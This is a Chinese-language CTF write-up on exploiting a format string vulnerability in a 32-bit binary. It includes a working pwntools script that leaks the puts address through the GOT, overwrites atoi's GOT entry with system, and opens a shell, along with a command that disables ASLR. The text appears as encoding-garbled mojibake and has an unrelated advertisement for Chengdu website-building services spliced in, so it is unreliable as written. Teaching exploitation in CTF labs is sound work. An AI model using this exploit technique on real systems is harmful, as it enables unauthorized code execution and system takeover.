PWN 200格式化字符串漏洞的示例分析,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。
在浮梁等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強(qiáng)發(fā)展的系統(tǒng)性、市場(chǎng)前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務(wù)理念,為客戶提供成都做網(wǎng)站、成都網(wǎng)站設(shè)計(jì)、成都外貿(mào)網(wǎng)站建設(shè) 網(wǎng)站設(shè)計(jì)制作按需網(wǎng)站建設(shè),公司網(wǎng)站建設(shè),企業(yè)網(wǎng)站建設(shè),品牌網(wǎng)站制作,營(yíng)銷型網(wǎng)站,外貿(mào)網(wǎng)站建設(shè),浮梁網(wǎng)站建設(shè)費(fèi)用合理。
格式化字符串漏洞原理
pwn題中,有形如下述代碼的形式就是格式化字符串漏洞
char str[100]; scarf("%s",str); printf(str)
也許使用者的目的只是直接輸出字符串,但是這段字符串來源于可控的輸入,就造成了漏洞。
示例程序如下
編譯:gcc -m32 -o str str.c
輸入%2$x
原因是如果直接printf("占位符")這種形式,就會(huì)把棧上的偏移當(dāng)做數(shù)據(jù)輸出出來。通過構(gòu)造格式化串,就可以實(shí)現(xiàn)任意地址讀和任意地址寫。
事實(shí)上,我們?cè)趕canf(或者read)來輸入字符串的時(shí)候,字符串就已經(jīng)在棧中了,如圖,可以看出偏移為6。如果我們構(gòu)造出addr(4字節(jié))%6$s
,就能讀取這個(gè)地址的值了。
我們嘗試一下,輸入AAAA%6$s
,當(dāng)然不可能真的讀到地址為41414141的內(nèi)存值,不過從下圖我框起來的內(nèi)容就知道,如果我們輸入一個(gè)合法的值,就可以讀了。
和上面的任意地址讀是同理的,只不過利用了格式化字符串的一個(gè)比較冷門的特性,%n。
這個(gè)占位符可以把它前面輸出的字符的數(shù)量,寫入指定的地址。
比如
printf("abc%n", &val);
val的值就被改變?yōu)?,我們一般都用pwntools自帶的fmt_str來生成格式化串
fmt_str(offset,size,addr,target)
offset表示要覆蓋的地址最初的偏移
size表示機(jī)器字長(zhǎng)
addr表示將要覆蓋的地址
target表示我們要覆蓋為的目的變量值
形如
char buf[100] scanf("%s",buf); printf(buf);
找到格式化字符串漏洞
tips1查看本機(jī)ASLR
so地址變動(dòng),確定本機(jī)開啟了aslr關(guān)閉ASLRecho 0 > /proc/sys/kernel/randomize_va_space
確認(rèn)關(guān)閉
printf(&buf); puts("GET YOUR AGE:\n"); read(0, &buf, 0x40u); if ( atoi(&buf) > 60 ) puts("OLD MEN!\n");
看到printf(&buf)之后read(buf)atoi(buf)所以我們的思路就是:利用格式化字符串漏洞的任意地址讀,先leak出puts函數(shù)的地址puts_addr。利用格式化字符串漏洞的任意地址寫,去將atoi函數(shù)在got.plt表中的地址改為system函數(shù)的地址,然后通過read去控制buf,傳入"/bin/sh",構(gòu)造出system("bin/sh"),獲取shell。關(guān)于覆蓋got表,不知道為什么的話,參考下面的文章。 https://www.jianshu.com/p/0ac63c3744ddhttp://rickgray.me/use-gdb-to-study-got-and-plt
任意地址讀:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit.html調(diào)試找到puts的地址在棧中的位置。
在gdb中調(diào)試(這里我使用了gef插件),可以看出地址在7個(gè)參數(shù)(仔細(xì)分析一下AAAA%7$x,把AAAA換掉就是地址,把%x換成%s就可以打印出內(nèi)容)
libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
覆蓋got表中atoi的內(nèi)容為system地址
printf("abc%nabc\n", &val); printf("val = %d\n", val);
輸出為
abcabcval = 3
這就告訴我們,%n可以把其前面輸出的字符個(gè)數(shù),寫入&val指向的地址。如果還不理解的話可以參考:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit.html
http://www.cnblogs.com/Ox9A82/p/5429099.html
之前我們已經(jīng)調(diào)試過了"AAAA"就在第7個(gè)參數(shù),所以只需構(gòu)造{addr}{適當(dāng)?shù)膶懭胫祡{%7$n}即可。
這里pwntools提供了fmtstr_payload函數(shù)來自動(dòng)生成格式化串。fmtstr_payload(參數(shù)偏移,{xxx_got_addr: system_addr})
# coding:utf-8 from pwn import * elf = ELF('pwne') # conn=remote('ip',port) libc = ELF('/lib/i386-linux-gnu/libc.so.6') # libc=ELF('libc.so.6') p = process('./pwne') p.recvuntil('[Y/N]\n') p.sendline('Y') p.recvuntil('NAME:\n\n') p.sendline(p32(elf.got['puts']) + '%7$s') p.recvuntil('WELCOME \n') puts_addr=p.recv()[4:8] # print u32(put_addr) system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr) atoi_got_addr = elf.got['atoi'] p.sendline('17') p.recvuntil('[Y/N]\n') p.sendline('Y') p.recvuntil('NAME:\n\n') p.sendline(fmtstr_payload(7, {atoi_got_addr: system_addr})) p.recvuntil('GET YOUR AGE:\n\n') p.sendline('/bin/sh\x00') p.interactive()
在CTF中,一般使用格式化字符串漏洞的任意地址讀來leak出某函數(shù)的got表地址,然后計(jì)算出system的地址。
再通過任意地址寫的功能,來覆蓋got表,從而調(diào)用system('bin/sh')來getshell。
看完上述內(nèi)容,你們掌握PWN 200格式化字符串漏洞的示例分析的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!